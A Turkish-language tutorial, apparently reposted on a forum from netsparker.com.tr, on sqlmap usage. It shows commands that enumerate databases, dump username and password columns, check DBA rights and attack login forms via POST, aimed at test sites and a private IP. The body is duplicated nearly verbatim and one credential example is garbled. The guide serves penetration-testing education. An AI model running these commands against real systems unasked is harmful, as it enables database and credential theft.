Basit Kullanım Örnekleri
İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:
Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs
Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump
-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
--columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
--dump: Kolonlarda yer alan veriler ekrana yansıtılır.
Tüyo: Tek tire (-) veya çift tire (--) kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli parametrelerde ise değer girilmeden önce eşittir işaretinin kullanıldığını aklınızda tutabilirsiniz.
Not: Herhangi bir database’den veri çekebilmek için sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken yetkileri haiz olması zorunluluğunu unutmamak gerekir.
Yetki Kontrolü
Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde “current user” yani veri tabanı bağlantısını gerçekleştiren kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba parametresini kullanabilmekteyiz. Dönüt olarak "True" ya da "False" değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe ilişkin ekran görüntüsünü aşağıda görmektesiniz:
sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles
Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir.
Birden Fazla Hedefi Tarama
Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir:
Bunun için, parametreden sonra dosyanın path’i belirtilir:
sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt"
Bir İstek Dosyası Yükleme
Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:
GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello
Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):
sqlmap -r "istek.txt"
Not: Burada yapılan istekte Rewrite edilmiş bir URL yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen bölümlerinde bulabilirsiniz.
POST İsteği Yapma
Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir. Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür.
Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:
Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi, herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek saldırı şöyle olacaktır:
sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"
Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms) girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta kullanacağımız komut biraz değişecektir:
POST http://192.168.1.37/index.php HTTP/1.1
Host: 192.168.1.37
Connection: keep-alive
Content-Length: 341
Cache-Control: max-age=0
Origin: http://192.168.1.37
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.37/index.php?action=login
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="password"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="duration"
mins30
------WebKitFormBoundaryHFlodLUdWprARroi--
Kullanacağımız komut:
sqlmap -r istek.txt -p "loginname" --dbms="MySQL"
Not: Basit parametrelerden biri olan --dbms testlerin daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap, sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış olacaktır.
Forms Parametresi
POST istekleriyle ilintili başka bir parametre ise --forms parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu şekildedir:
sqlmap -u http://192.168.1.37/index.php?action=login --forms
Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır.
HTTP Authentication
Sqlmap ile Basic, Digest, NTLM ya da PKI kimlik doğrulaması isteyen uygulamalarda da tarama yapmak mümkün. Bunun için kullanılan parametre --auth-type parametresidir. Gerekli oturum bilgileriniyse --auth-cred parametresiyle tanıtıyoruz. Örnek bir kullanım aşağıdaki gibidir:
sqlmap -u http://exapmle.com/main.php?action=writer&id=1 --auth-type="Basic" --auth-cred="user
assword"
Credential’larda bir yanlışlık olursa şu hatayı almamız kaçınılmaz olur:
[09:53:40] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401)
[09:53:40] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times
KONUNUN DEVAMI KAYNAKLAR BAŞLIĞI ALTINDA LİNKTEDİR. Karakter sayı yetmediği için hepsini yazamadım.
---Kaynak---
www.netsparker.com.tr
İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:
Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs
Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump
-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
--columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
--dump: Kolonlarda yer alan veriler ekrana yansıtılır.
Tüyo: Tek tire (-) veya çift tire (--) kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli parametrelerde ise değer girilmeden önce eşittir işaretinin kullanıldığını aklınızda tutabilirsiniz.
Not: Herhangi bir database’den veri çekebilmek için sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken yetkileri haiz olması zorunluluğunu unutmamak gerekir.
Yetki Kontrolü
Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde “current user” yani veri tabanı bağlantısını gerçekleştiren kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba parametresini kullanabilmekteyiz. Dönüt olarak "True" ya da "False" değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe ilişkin ekran görüntüsünü aşağıda görmektesiniz:
sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles
Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir.
Birden Fazla Hedefi Tarama
Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir:
Bunun için, parametreden sonra dosyanın path’i belirtilir:
sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt"
Bir İstek Dosyası Yükleme
Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:
GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello
Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):
sqlmap -r "istek.txt"
Not: Burada yapılan istekte Rewrite edilmiş bir URL yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen bölümlerinde bulabilirsiniz.
POST İsteği Yapma
Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir. Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür.
Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:
Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi, herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek saldırı şöyle olacaktır:
sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"
Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms) girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta kullanacağımız komut biraz değişecektir:
POST http://192.168.1.37/index.php HTTP/1.1
Host: 192.168.1.37
Connection: keep-alive
Content-Length: 341
Cache-Control: max-age=0
Origin: http://192.168.1.37
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.37/index.php?action=login
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="password"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="duration"
mins30
------WebKitFormBoundaryHFlodLUdWprARroi--
Kullanacağımız komut:
sqlmap -r istek.txt -p "loginname" --dbms="MySQL"
Not: Basit parametrelerden biri olan --dbms testlerin daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap, sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış olacaktır.
Forms Parametresi
POST istekleriyle ilintili başka bir parametre ise --forms parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu şekildedir:
sqlmap -u http://192.168.1.37/index.php?action=login --forms
Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır.
HTTP Authentication
Sqlmap ile Basic, Digest, NTLM ya da PKI kimlik doğrulaması isteyen uygulamalarda da tarama yapmak mümkün. Bunun için kullanılan parametre --auth-type parametresidir. Gerekli oturum bilgileriniyse --auth-cred parametresiyle tanıtıyoruz. Örnek bir kullanım aşağıdaki gibidir:
sqlmap -u http://exapmle.com/main.php?action=writer&id=1 --auth-type="Basic" --auth-cred="user
Credential’larda bir yanlışlık olursa şu hatayı almamız kaçınılmaz olur:
[09:53:40] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401)
[09:53:40] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times
KONUNUN DEVAMI KAYNAKLAR BAŞLIĞI ALTINDA LİNKTEDİR. Karakter sayı yetmediği için hepsini yazamadım.
---Kaynak---
İleri Seviye Sqlmap Kullanımı
SQL Injection ataklarını otomatize eden açık kaynak kodlu sqlmap aracı hakkında önemli görülen noktalar, gelişmiş kullanım örnekleri anlatılmıştır.
Bu içeriği görmek için giriş yapın.